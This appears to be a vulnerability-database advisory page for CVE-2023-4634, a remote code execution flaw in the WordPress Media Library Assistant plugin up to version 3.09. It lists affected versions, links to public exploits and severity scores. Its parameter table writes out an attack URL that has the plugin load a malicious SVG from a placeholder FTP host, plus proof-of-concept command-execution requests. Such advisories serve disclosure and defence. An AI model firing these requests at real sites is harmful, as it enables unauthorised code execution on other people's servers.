CVE-2023-4634
🗓️ 06 Sep 2023 08:27:50Reported by WordfenceType 
cve🔗 web.nvd.nist.gov📰️ 2 Media mentions👁 179 Views🌐 WEB
| Reporter | Title | Published | Views | Family All 22 |
|---|---|---|---|---|
 | Exploit for CVE-2023-4634 | 4 Feb 202617:59 | – | githubexploit |
| Exploit for CVE-2023-4634 | 5 Sep 202307:44 | – | githubexploit |
 | Wordpress Media Library Assistant Plugin - Remote Code Execution / Local File Inclusion Exploit | 9 Oct 202300:00 | – | zdt |
 | The vulnerability of the Imagick() function (~/includes/mla-stream-image.php) of the Media Library Assistant plugin of the WordPress content management system allows a hacker to execute arbitrary code. | 11 Sep 202300:00 | – | bdu_fstec |
 | CVE-2023-4634 | 5 Sep 202311:57 | – | circl |
 | WordPress plugin Media Library Assistant security vulnerability | 6 Sep 202300:00 | – | cnnvd |
 | CVE-2023-4634 Media Library Assistant <= 3.09 - Unauthenticated Local/Remote File Inclusion & Remote Code Execution | 6 Sep 202308:27 | – | cvelist |
 | Media Library Assistant Wordpress Plugin - RCE and LFI | 9 Oct 202300:00 | – | exploitdb |
 | CVE-2023-4634-PoC | 20 Sep 202615:52 | – | kitploit |
| CVE-2023-4634 | 18 Sep 202616:39 | – | kitploit |
10
Node
[
{
"vendor": "dglingren",
"product": "Media Library Assistant",
"versions": [
{
"version": "0",
"status": "affected",
"lessThanOrEqual": "3.09",
"versionType": "semver"
}
],
"defaultStatus": "unaffected"
}
]| Parameter | Position | Path | Description | CWE |
|---|---|---|---|---|
| mla_stream_file | query param | wp-content/plugins/media-library-assistant/includes/mla-stream-image.php?mla_stream_file=ftp://X.X.X.X:21/malicious.svg&mla_debug=log&mla_stream_frame=1 | LFI/RCE via mla_stream_file using remote SVG/Imagick processing | CWE-73 |
| mla_debug | query param | wp-content/plugins/media-library-assistant/includes/mla-stream-image.php?mla_stream_file=ftp://X.X.X.X:21/malicious.svg&mla_debug=log&mla_stream_frame=1 | LFI/RCE via mla_stream_file using remote SVG/Imagick processing | CWE-73 |
| mla_stream_frame | query param | wp-content/plugins/media-library-assistant/includes/mla-stream-image.php?mla_stream_file=ftp://X.X.X.X:21/malicious.svg&mla_debug=log&mla_stream_frame=1 | LFI/RCE via mla_stream_file using remote SVG/Imagick processing | CWE-73 |
| cmd | query param | rce_proof.php?cmd=id | Remote command execution proof-of-concept endpoint (id) | CWE-269 |
| cmd | query param | rce_proof.php?cmd=ping+-c+2+127.0.0.1 | Remote command execution proof-of-concept endpoint (ping) | CWE-269 |
| cmd | query param | rce_proof.php?cmd=touch+/tmp/rce_proof | Remote command execution proof-of-concept endpoint (touch) | CWE-269 |
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
17 Jun 2026 06:38Current
9.7Critical risk
Vulners AI Score9.7
CVSS 3.19.8
EPSS0.8589
SSVC